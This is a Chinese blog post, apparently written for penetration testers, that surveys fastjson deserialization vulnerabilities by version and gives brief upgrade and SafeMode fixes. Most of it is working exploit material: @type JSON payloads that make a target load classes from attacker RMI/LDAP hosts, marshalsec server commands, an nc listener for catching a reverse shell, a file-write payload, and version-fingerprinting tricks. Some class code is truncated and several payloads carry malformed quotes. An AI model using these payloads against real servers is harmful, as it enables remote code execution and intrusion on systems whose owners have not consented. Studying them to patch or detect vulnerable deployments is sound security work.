1、fastjson简介
Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景,有如下特点:
1、高性能
fastjson采用独创的算法,将parse的速度提升到极致,超过所有json库,包括曾经号称最快的jackson。并且还超越了google的二进制协议protocol buf。
2、支持标准
Fastjson完全支持http://json.org
的标准,也是官方网站收录的参考实现之一。
3、功能强大
支持各种JDK类型。包括基本类型、JavaBean、Collection、Map、Enum、泛型等 && 支持循环引用
4、无依赖
不需要例外额外的jar,能够直接跑在JDK上。
5、支持范围广
支持JDK 5、JDK 6、Android、阿里云手机等环境。
6、开源
Apache License 2.0 && 代码托管在github.org上,项目地址是 https://github.com/AlibabaTech/fastjson
7、测试充分
fastjson有超过1500个testcase,每次构建都会跑一遍,丰富的测试场景保证了功能稳定。
2、fastjson反序列化漏洞版本线
2.1 fastjson v0 - 1.2.24
在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞(CVE-2017-18349)。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
fastjson1.2.24之前的反序列化漏洞是因为fastjson完全没有对需要加载的类进行限制,导致非法加载产生反序列化漏洞。在之后的版本更新中fastjson在ParserConfig类中添加了checkAutoType方法对加载类进行黑名单限制。可以利用的主流方式有两种:
- JNDI注入利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中的_bytecodes属性进行整个恶意类的反序列化。优点是不需要攻击端开启rmi或者ldap服务比较方便利用,缺点是fastjosn默认不会反序列私有属性,需要在反序列化时设置Feature.SupportNonPublicField这种方式才可以利用成功。
- 利用rmi或者ldap让服务器远程调用恶意类进行利用。
由于第一种方式受限制较多,很多情况下不会设置Feature.SupportNonPublicField,所以第二种方式较为常见。
检测poc
检测poc1:
1 | //class文件做base64加密: |
生成的 base64 文本填在json 的_bytecodes字段中。
1 | { |
触发原因简析:TemplatesImpl对象恢复->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通过defineTransletClasses,newInstance触发我们自己构造的class的静态代码块
检测poc2:
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fastjson.xxx.ceye.io","autoCommit":true} |
触发原因简析:JdbcRowSetImpl对象恢复->setDataSourceName方法调用->setAutocommit方法调用->context.lookup(datasourceName)调用
RCE
影响范围为1.2.22 <= fastjson <= 1.2.24
1、首先编译并上传命令执行代码到VPS,http://x.x.x.x:port/Shell.class:
1 | // javac Shell.java |
2、然后我们借助marshalsec项目,启动一个RMI或ldap服务器,监听9999端口,并指定加载远程类Shell.class:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps.com/#Shell" 9999 |
3、向受害服务器发送Payload,带上RMI的地址:
1 | POST / HTTP/1.1 |
4、在vps上使用nc -lvv 12345 监听,成功接收到shell
ldap利用方法见此处的方案4
修复方法
请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本
2.2 fastjson 1.2.25 - 1.2.47
1.2.24之前没有autotype的限制,从1.2.25开始默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。漏洞大概是这样形成的,首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
检测poc
1、适用于1.2.25-1.2.30、1.2.41(需开启autotype)
1 | {"@type":“Lcom.sun.rowset.JdbcRowSetImpl;”,“dataSourceName”:“rmi://xxx.com/Exploit”, “autoCommit”:true} |
2、适用于1.2.25-1.2.30、1.2.41、1.2.42(需开启autotype)
1 | {"@type":“LLcom.sun.rowset.JdbcRowSetImpl;;”,“dataSourceName”:“rmi://xxx.com/Exploit”, “autoCommit”:true} |
3、适用于1.2.41、1.2.42、1.2.43(需开启autotype)
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{“dataSourceName”:“rmi://xxx.com/Exploit”,“autoCommit”:true]} |
4、适用于1.2.45(需开启autotype)(fastjson>=1.2.25默认为false)
1 | {"@type":“org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”,“properties”:{“data_source”:“rmi://xxx.com/Exploit”}} |
5、适用于<=1.2.47(不需开启autotype)
1 | {“a”:{"@type":“java.lang.Class”,“val”:“com.sun.rowset.JdbcRowSetImpl”},“b”:{"@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://xxx/Exploit”,“autoCommit”:true}} |
1 | {“a”:{"@type":“java.lang.Class”,“val”:“org.apache.commons.configuration.JNDIConfiguration”},“b”:{"@type":“org.apache.commons.configuration.JNDIConfiguration”,“prefix”:“rmi://xxx/Exploit”}} |
1 | {“a”:{"@type":“java.lang.Class”,“val”:“oracle.jdbc.connector.OracleManagedConnectionFactory”},“b”:{"@type":“oracle.jdbc.connector.OracleManagedConnectionFactory”,“xaDataSourceName”:“rmi://xxx/Exploit”}} |
RCE
1、外网服务器8080端口开启Http服务放置Exploit.class
Exploit.java示例代码:
1 | public Exploit(){ |
2、外网服务器执行以下命令监听一个RMIServer:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://[ip]:8080/#Exploit
3、目标站点发送payload。
修复方法
确认 fastjson 版本至少升级到 1.2.58,同时确认自身服务的 Java 环境版本,低于 8u121 7u13 6u141 的用户也请及时升级环境版本,以防受到其他严重漏洞影响。
2.3 fastjson 1.2.48 - 1.2.61
2019年9月19日fastjson官方发布了1.2.61新版本,增加了autoType安全黑名单。但是新版本刚发布不到一周时间,其黑名单就被bypass,成功绕过了黑名单防护,可以利用fastjson反序列化特性造成RCE。从漏洞公布的poc可知这次gadget是commons-configuration组件,该组件是java应用程序的配置管理类,用于协助管理各种格式的配置文件。
检测poc
1、适用于<=1.2.50(不需开启AutoType)
1 | {"@type":"java.lang.AutoCloseable","@type":"oracle.jdbc.rowset.OracleJDBCRowSet","dataSourceName":"ldap://w3nkdw.dnslog.cn/Exploit","command":"a"} |
2、适用于<=1.2.58(特定库logback-core.jar、h2.jar和需开启AutoType和jdk1.6 < 6u132;jdk1.7 < 7u122;jdk1.8 < 8u113)
1 | {"@type":"ch.qos.logback.core.db.DriverManagerConnectionSource","url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM'http://[IP]/inject.sql'"} |
3、适用于<=1.2.60(特定库commons-configuration-1.4.jar和需开启AutoType)
1 | {"@type":“org.apache.commons.configuration.JNDIConfiguration”,“prefix”:“rmi://x.x.x.x:1389/Exploit”} |
4、适用于<=1.2.60(特定库ojdbc14-10.2.0.2.0.jar和需开启AutoType)
1 | {"@type":“oracle.jdbc.connector.OracleManagedConnectionFactory”,“xaDataSourceName”:“rmi://x.x.x.x:1111/Exploit”} |
5、适用于<=1.2.61
1 | {"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://127.0.0.1:1099/Exploit"} |
RCE
1、外网服务器8081端口开启Http服务放置Exploit.class
Exploit.class示例代码:
1 | public class Exploit { |
2、外网服务器执行以下命令监听一个RMIServer:
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://x.x.x.x:8081/#Exploit 8082
3、目标站点发送payload。
修复方法
1、在不影响业务的情况下,关闭AutoType。由于Fastjson的AutoType默认是关闭,相关用户自查是否使用ParseConfig.getGlobalInstance().setAutoTypeSupport(true);开启了AutoType。
2、WAF拦截Json请求中的多种编码形式的‘@type’,‘\u0040type’等字样;
3、确认 fastjson 版本为最新版本,同时确认升级JDK版本到8u121,7u13,6u141以上。
2.4 fastjson 1.2.62 - 1.2.68
fastjson1.2.68及之前版本的autotype关闭的情况下仍然可以绕过限制反序列化,相比 1.2.47 版本的漏洞来讲这个版本的漏洞还是有一些限制的,例如 1.2.47 是可以绕过黑名单的限制的,而fastjson1.2.68则无法绕过黑名单,并且需要类实现AutoCloseable接口。目前主要的JNDI gadget 已经进了黑名单,还不允许反序列化类实现了 ClassLoader、DataSource、RowSet接口,这就导致了绝大部分的JNDI gadget 无法利用,于是有些师傅通过新的Gadgets绕过autoType开关,在autoType关闭的情况下仍然可以绕过黑白名单防御机制,通过反序列化漏洞在服务器上执行任意代码。
检测poc
1、适用于<=1.2.62(特定库):
1 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}" |
2、适用于<=1.2.66((特定库和autoTypeSupport属性为true):
1 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} |
1 | {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"} |
1 | {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"} |
1 | {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}} |
3、适用于<=1.2.68:
向指定文件写任意内容
1 | $ echo -ne "safetest" | openssl zlib | base64 -w 0 |
1 | $ echo -ne "safetest" | openssl zlib | wc -c |
依赖原生JDK11:
1 | { |
依赖原生JDK8/JDK10:
1 | { |
提交数据包后查看受害机器,可以看到成功创建/tmp/test.txt文件并且其内容为写入的safetest。
修复方法
1、升级至安全版本 较低版本升级至最新版本 1.2.69 可能会出现兼容性问题,建议升级至特定版本的sec10 bugfix版本,请参考以下链接尽快修复: https://repo1.maven.org/maven2/com/alibaba/fastjson/
2、开启 SafeMode 若无法立即升级版本,可通过开启 SafeMode 来缓解此漏洞。fastjson在1.2.68 及之后的版本中引入了SafeMode,配置SafeMode 后,无论白名单和黑名单,都不支持 autoType,可一定程度上缓解反序列化Gadgets类变种攻击。以下为配置SafeMode的三种方式:
1) 在代码中配置 ParserConfig.getGlobalInstance().setSafeMode(true);
2)加上JVM启动参数 -Dfastjson.parser.safeMode=true 如果有多个包名前缀,用逗号隔开
3)通过 fastjson.properties文件配置 通过类路径的 fastjson.properties 文件来配置,配置方式如下: fastjson.parser.safeMode=true 参考链接如下: https://github.com/alibaba/fastjson/wiki/fastjson_safemode
3、采用其他json处理组件替换,jackson-databind漏洞也频发,建议使用Gson
3、fastjson反序列化漏洞渗透测试技巧
3.1 获取 fastjson 精确版本号的方法
影响范围:<= fastjson 1.2.73
1 | {'@type':"java.lang.AutoCloseable" |
可以直接在异常信息中暴露出 fastjson 的精确版本,然后再根据版本去测试已知漏洞。
3.2 fastjson判断特征
1、确定传入的get或者post参数,是否为json格式
2、返回HTTP 500,且关键字为fastjson或jackson,可证明为fastjson或jackson
3、仅返回HTTP 500,没有任何报错,结合dnslog、端口访问、返回延迟等综合判断
- 如果dnslog返回有记录可证明可利用,
- 如果访问不存在的主机及端口,返回包是否有延迟,如果有延迟,判断可能存在。
- 在确定可以利用的情况下,尝试是否通公网,不通公网尝试直接可执行命令的rce。
总结
本文从fastjson 1.2.24开始,汇总了每个有反序列化漏洞的版本poc、rce和修复方案,可以发现每个反序列漏洞都跟fastjson中的AutoType特性有关,从绕过fastjson v1.2.41的checkAutotype到fastjson v1.2.68的expectClass,每次新版本反序列漏洞的产生都是黑客与fastjson的博弈。
参考链接:
fastjson 远程反序列化poc的构造和分析
Fastjson1.2.47反序列化漏洞复现
寻找Fastjson 1.2.68 AutoCloseable利用链
浅谈下 Fastjson 的 autotype 绕过
红队武器库!fastjson小于1.2.68全漏洞RCE利用exp
fastjson到底做错了什么?
本文链接: http://dayun.shystartree.online/2020/10/22/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%B2/
版权声明:本博客所有文章除特别声明外,均采用知识共享署名-非商业性使用-相同方式共享4.0国际许可协议许可协议。欢迎转载,但转载请注明来自qingyu’s blog,并保持转载后文章内容的完整,本人保留所有版权相关权利。